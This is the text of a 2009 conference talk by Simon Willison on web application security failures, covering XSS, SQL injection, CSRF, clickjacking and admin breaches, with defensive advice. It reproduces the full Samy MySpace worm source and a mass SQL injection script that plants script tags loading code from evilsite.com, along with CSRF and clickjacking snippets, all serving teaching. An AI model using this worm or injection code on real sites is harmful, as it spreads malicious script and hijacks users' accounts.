Web App Security
Horror Stories
Simon Willison, 6th March 2009
Saturday, 7 March 2009

This talk is about
learning from other
people’s mistakes
Saturday, 7 March 2009

XSS
(cross site scripting)
Saturday, 7 March 2009

Rule one:
Never let anyone
inject their JavaScript
in to your page
Saturday, 7 March 2009

If you have an XSS hole, I can
• Steal your users’ cookies and log in as them
• Embed malware and drive-by downloads
• Show a fake phishing login page on your site
• Perform any action as if I was your user
Saturday, 7 March 2009

http://www.flickr.com/photos/tammets/2116105196/
Saturday, 7 March 2009

<div id=mycode style=\"BACKGROUND: url('java
script:eval(document.all.mycode.expr)')\" expr=\"var B=String.fromCharCode(34);var
A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e)
{}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU)
{M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')} function getQueryParams(){var
E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O+
+){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var
M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://
www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return
findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var
O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1)
{Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function
httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST')
{J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-
Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var
S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return
findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var
U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var
Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new
XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new
ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return
Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var
AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A
+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE
+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+
'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var
AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']=' heroes';AS['submit']='Preview';
AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,
'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var
AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';
AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?
fuseaction=profile.processInterests&Mytoken='+AR,nothing, 'POST',paramsToString(AS))}function main(){var
AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN
+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET'); xmlhttp2=getXMLObj();httpSend2('/index.cfm?
fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L, processxForm,'GET')}function processxForm()
{if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var
AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to
Friends';httpSend2('/index.cfm??useaction=invite.addFriendsProcess&Mytoken='+AR,nothing,
'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return
false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST')
{xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-
urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}\"></DIV>
Saturday, 7 March 2009

samy is my hero
http://namb.la/popular/
Saturday, 7 March 2009

MySpace customisation
was “kind of a mistake”
http://bit.ly/myspace-mistake
Saturday, 7 March 2009

A social network worm
• When you viewed Samy’s profile...
• JS makes you add him as a friend
• JS uses XMLHttpRequest to add his
exploit to YOUR profile as well
Saturday, 7 March 2009

4th October 2005
12:34 pm: You have 73 friends
I decided to release my little popularity program. I'm going
to be famous... among my friends.
1:30 am: You have 73 friends and 1 friend request
One of my friends' girlfriend looks at my profile. She's
obviously checking me out. I approve her inadvertent friend
request and go to bed grinning.
8:35 am: You have 74 friends and 221 friend requests
Woah. I did not expect this much. I'm surprised it even
worked.. 200 people have been infected in 8 hours. That
means I'll have 600 new friends added every day. Woah.
9:30 am: You have 74 friends and 480 friend requests
Oh wait, it's exponential, isn't it. Shit.
Saturday, 7 March 2009

4th October 2005
12:34 pm: You have 73 friends
I decided to release my little popularity program. I'm going
to be famous... among my friends.
1:30 am: You have 73 friends and 1 friend request
One of my friends' girlfriend looks at my profile. She's
obviously checking me out. I approve her inadvertent friend
request and go to bed grinning.
8:35 am: You have 74 friends and 221 friend requests
Woah. I did not expect this much. I'm surprised it even
worked.. 200 people have been infected in 8 hours. That
means I'll have 600 new friends added every day. Woah.
9:30 am: You have 74 friends and 480 friend requests
Oh wait, it's exponential, isn't it. Shit.
Saturday, 7 March 2009

4th October 2005
12:34 pm: You have 73 friends
I decided to release my little popularity program. I'm going
to be famous... among my friends.
1:30 am: You have 73 friends and 1 friend request
One of my friends' girlfriend looks at my profile. She's
obviously checking me out. I approve her inadvertent friend
request and go to bed grinning.
8:35 am: You have 74 friends and 221 friend requests
Woah. I did not expect this much. I'm surprised it even
worked.. 200 people have been infected in 8 hours. That
means I'll have 600 new friends added every day. Woah.
9:30 am: You have 74 friends and 480 friend requests
Oh wait, it's exponential, isn't it. Shit.
Saturday, 7 March 2009

4th October 2005
12:34 pm: You have 73 friends
I decided to release my little popularity program. I'm going
to be famous... among my friends.
1:30 am: You have 73 friends and 1 friend request
One of my friends' girlfriend looks at my profile. She's
obviously checking me out. I approve her inadvertent friend
request and go to bed grinning.
8:35 am: You have 74 friends and 221 friend requests
Woah. I did not expect this much. I'm surprised it even
worked.. 200 people have been infected in 8 hours. That
means I'll have 600 new friends added every day. Woah.
9:30 am: You have 74 friends and 480 friend requests
Oh wait, it's exponential, isn't it. Shit.
Saturday, 7 March 2009

20 hours, 1,005,831
friend requests
(then MySpace crashed)
Saturday, 7 March 2009

Google’s UTF-7 hole
Saturday, 7 March 2009

The UTF-7 hole
• Google’s 404 pages didn't specify a charset
• IE inspected the first 4096 bytes to “guess”
the encoding of the page
• UTF-7 XSS attacks slipped through Google's
XSS filters but were executed by IE
http://shiflett.org/blog/2005/dec/googles-xss-vulnerability
Saturday, 7 March 2009

You can’t trust CSS either
• HTC in IE and XBL in Mozilla are both vectors for
JavaScript attacks
• A “position: absolute” hack was used to steal 30,000
MySpace passwords last year
http://community.livejournal.com/lj_dev/708069.html
http://www.securiteam.com/securitynews/6O00M0AHFW.html
Saturday, 7 March 2009

SQL injection
Saturday, 7 March 2009

Inexcusable.
Use paramaterised
queries, or an ORM
Saturday, 7 March 2009

If you’re gluing SQL
together using string
appends
Saturday, 7 March 2009

Bad (even though it's secure):
$sql = \"select * from users where nick = '\"
. mysql_real_escape_string($username) . \"'\";
Good:
$sql = build_query(
\"select * from users where nick = ?\", $nick
);
Saturday, 7 March 2009

Mass XSS via SQL injection
DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update [' + @T + '] set [' + @C + '] =
rtrim(convert(varchar,[' + @C + ']))+
''<script src=http://evilsite.com/1.js></script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;
http://hackademix.net/2008/04/26/mass-attack-faq/
Saturday, 7 March 2009

CSRF
Saturday, 7 March 2009

“We’ve found CSRF
vulnerabilities in sites that have a
huge incentive to do security
correctly. If you’re in charge of a
website and haven’t specifically
protected against CSRF, chances
are you’re vulnerable”
- Bill Zeller
Saturday, 7 March 2009

Ever see a link like this?
<a href=\"http://app.example.com/delete.php?id=1\">Delete</a>
Saturday, 7 March 2009

Now what if I do this:
<img src=\"http://app.example.com/delete.php?id=1\">
<img src=\"http://app.example.com/delete.php?id=2\">
<img src=\"http://app.example.com/delete.php?id=3\">
<img src=\"http://app.example.com/delete.php?id=4\">
<img src=\"http://app.example.com/delete.php?id=5\">
... and trick you in to
visiting my site?
Saturday, 7 March 2009

POST will not save you
<form action=\"http://app.example.com/delete.php\"
method=\"POST\">
<input type=\"hidden\" name=\"id\" value=\"1\">
<input type=\"submit\" value=\"More kittens please!\">
</form>
http://www.flickr.com/photos/fofurasfelinas/9724483/
Saturday, 7 March 2009

Or submit with JavaScript
<div style=\"display: none\">
<form action=\"http://app.example.com/delete.php\"
method=\"POST\">
<input type=\"hidden\" name=\"id\" value=\"1\">
</form>
</div>
<script>document.forms[0].submit()</script>
Saturday, 7 March 2009

The Digg exploit
• A few years ago, Digg had no CSRF
protection on their “digg this” button
• The result: self-digging pages!
http://ha.ckers.org/blog/20060615/a-story-that-diggs-itself/
Saturday, 7 March 2009

The Gmail filter hack
http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/
Saturday, 7 March 2009

“We believe this is the first CSRF
vulnerability to allow the transfer of funds
from a financial institution.”
http://www.freedom-to-tinker.com/blog/wzeller/
popular-websites-vulnerable-cross-site-request-forgery-attacks
Saturday, 7 March 2009

Preventing CSRF
• You need to distinguish between form
interactions from your user on your site, and
form interactions from your user on some
other site
• Referrer checking is notoriously unreliable
• Solution: include a form token (Yahoo! calls
this a “crumb”) proving that the post came
from your site
Saturday, 7 March 2009

Crumbs
<form action=\"http://app.example.com/delete.php\"
method=\"POST\">
<input type=\"hidden\" name=\"id\" value=\"37\">
<input type=\"hidden\" name=\"crumb\"
value=\"856c2f50ddc49fd710f14a406ec1fef652d3c9f\">
<input type=\"submit\" value=\"Delete this item\">
</form>
Saturday, 7 March 2009

Protecting the crumb
• Your crumb is now the only thing protecting
you from CSRF attacks
• This is why XSS is such a big deal
• With XSS, I can steal your crumb and run
riot across your site
• XSS holes are automatically CSRF holes
Saturday, 7 March 2009

Login CSRF
Saturday, 7 March 2009

Use CSRF to force a user
to sign in to an account
you have created on a
trusted site
Saturday, 7 March 2009

... and wait for them to
add private information,
such as their credit
card details
Saturday, 7 March 2009

Clickjacking
Saturday, 7 March 2009

Saturday, 7 March 2009

iframe
!
Saturday, 7 March 2009

Saturday, 7 March 2009

Saturday, 7 March 2009

Saturday, 7 March 2009

Saturday, 7 March 2009

Saturday, 7 March 2009

<style type=\"text/css\">
iframe {
width: 400px;
height: 200px;
position: absolute;
top: 10px;
left: 10px;
overflow: hidden;
opacity: 0;
}
#decoy {
...
}
</style>
<iframe src=\"http://veryimportantapp.com/delete-account/\">
</iframe>
<p id=\"decoy\">Click HERE for kittens!</p>
Saturday, 7 March 2009

Clickjacking protection
• Frame busting JavaScript
• <iframe security=\"restricted\"> in IE
• \"X-FRAME-OPTIONS: DENY\" in IE 8
• The NoScript extension for Firefox
Saturday, 7 March 2009

Saturday, 7 March 2009

Saturday, 7 March 2009

Anti click-jacki
ng
Saturday, 7 March 2009

Admin access
horror stories
Saturday, 7 March 2009

Saturday, 7 March 2009

Saturday, 7 March 2009

Saturday, 7 March 2009

How did they do it?
They guessed the URL
Saturday, 7 March 2009

The Twitter hack
• A bored teenager ran a brute force
attack against a popular Twitter user
• \"happiness\" is a dictionary word
• She happened to be Twitter staff, with
admin access
Saturday, 7 March 2009

Saturday, 7 March 2009

Keep admin accounts
separate from regular
user accounts
Saturday, 7 March 2009

crossdomain.xml
<cross-domain-policy>
<allow-access-from domain=\"*\" />
</cross-domain-policy>
Putting this at example.com/crossdomain.xml allows Flash applets
on other sites to read your pages and steal your crumbs
Flash can even fake an X-Requested-With: XMLHttpRequest header
That’s why Flickr use api.flickr.com/crossdomain.xml instead
Saturday, 7 March 2009

crossdomain.xml
<cross-domain-policy>
<allow-access-from domain=\"*\" />
</cross-domain-policy>
Putting this at example.com/crossdomain.xml allows Flash
applets on other sites to read your pages and steal your
crumbs
That’s why Flickr use api.flickr.com/crossdomain.xml instead
Saturday, 7 March 2009

YouTube/Gmail combo attack!
<allow-access-from domain=\"*.google.com\" />
1. Attacker emails a special SWF to a Gmail account they control
and locates the attachment download URL on google.com
2. Logged-in YouTube user visits an attacker controlled page
3. Attacker forces their victim to authenticate to the attackers
Gmail account (using login CSRF)
4. Attacker embeds SWF from the Gmail account into the web page
5. Attacker now has read write access on YouTube.com as the
victim’s account
http://jeremiahgrossman.blogspot.com/2008/09/i-used-to-know-what-you-watched-on.html
Saturday, 7 March 2009

No matter how hard you try, you
can’t secure your site 100%
There’s always a chance a
browser, plugin or compromised
client machine will screw
everything up anyway
Saturday, 7 March 2009

... and 70% of users will give
their password to a stranger in
exchange for a bar of chocolate
http://news.bbc.co.uk/1/hi/technology/3639679.stm
Saturday, 7 March 2009

Thank you!
Saturday, 7 March 2009

http://simonwillison.net/tags/xss/
http://simonwillison.net/tags/csrf/
http://simonwillison.net/tags/logincsrf/
http://simonwillison.net/tags/security/
Title photo:
http://www.flickr.com/photos/jalex_photo/1680862003/
Saturday, 7 March 2009